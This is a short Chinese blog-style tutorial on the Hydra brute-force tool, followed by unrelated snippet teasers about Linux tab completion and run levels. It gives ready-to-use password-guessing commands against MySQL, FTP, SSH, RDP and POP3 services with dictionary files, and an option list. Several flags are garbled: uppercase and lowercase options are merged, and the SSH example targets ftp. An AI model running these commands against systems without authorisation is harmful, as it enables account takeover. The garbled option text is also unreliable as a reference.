linux補全之 hydra的運用

2021-07-11 09:44:52 字數 1566 閱讀 7320

linux下很簡單的暴力破解工具,能不能破解主要看字典。

hydra語法: hydra -[引數] ip(主機) 服務

1、破解mysql:

hydra -l c:\user.txt -p c:\pass.txt 192.168.0.1 mysql

-l:指定使用者名稱字典

-p:指定密碼字典

2、破解ftp密碼:

hydra -l c:\user.txt -p c:\pass.txt -t 5 192.168.0.1 ftp

-l:指定使用者名稱

-t:指定執行緒

3、破解ssh:

hydra -l c:\user.txt -p c:\pass.txt -e n -t 5 -vv 192.168.0.1 ftp

-e n:進行空密碼探測

4、破解rdp(3389)

hydr -l administrator -p c:\pass.txt -e n -t 5 www.***.com rdp -v

破解www.***.com的3389埠

5、破解pop3:

hydra -l root -p pass.txt my.pop3.mail pop3

在未指定檔案絕對路徑,hydra會在本目錄去查詢檔案

hydra詳細引數:

-s:(大寫):採用ssl連線

-s port:如果非預設埠可通過這個引數指定

-l login:小寫,指定使用者破解

-l file:大寫,用指定的使用者名稱字典

-p pass:小寫,用於指定密碼破解,少用,一般採用密碼字典

-p file:大寫,用於指定密碼字典

-e ns:額外選項,n:空密碼試探,s:使用指定賬戶和密碼試探

-c file:使用冒號分割格式,例如「登入名:密碼」來代替-l/-p引數

-n file:指定目標列表檔案(一行一條)

-o file:指定結果輸出檔案

-f :找到第一對登入名或者密碼時終止破解

-t tasks:同時執行的執行緒數,預設16

-w time:設定最大超時時間,單位秒,預設30s

-v/-v:顯示詳細過程

server :目標ip

service:指定伺服器名,支援的服務和協議有:telnet,ftp,pop3,imap,smb,smbnt,mssql,mysql,pcanywhere,teamspeak,si等

Linux 提高操作效率之 tab 命令補全

最近在使用阿里雲 ecs 時,發現 centos 無法進行 tab 補全,特別影響操作效率,本文簡單記錄下 linux 下的 tab 命令補全功能,希望對 linux 初學者有所幫助。linux 最小化安裝時,是沒有 tab 命令補全的,需要自己手動安裝。安裝 yum y install bash ...

linux運維之批量公升級

經常給各辦事處客戶現場打補丁或公升級,面對十幾上百臺伺服器,人工一台臺替換肯定行不通,只能批量公升級,將過程記錄下來。批量公升級要解決的兩個主要問題就是 1.將補丁檔案 安裝包 上傳到各伺服器 2.各伺服器對收到的補丁檔案自動進行公升級。下面詳解各步驟 1.批量上傳檔案 batch.sh bin s...

linux運維之執行級別

以下內容都在hrel8環境下進行 對於linux系統有7個執行級別,我們先不看這7個執行級別都是什麼,我們先看看如何檢視自己當前的執行級別 我們可以看見有兩個結果,乙個是n,乙個是5,其中前乙個代表前乙個執行級別,後面的代表當前執行級別,那麼n代表什麼呢?n就是沒有,也就是說之前沒有切換過執行級別。...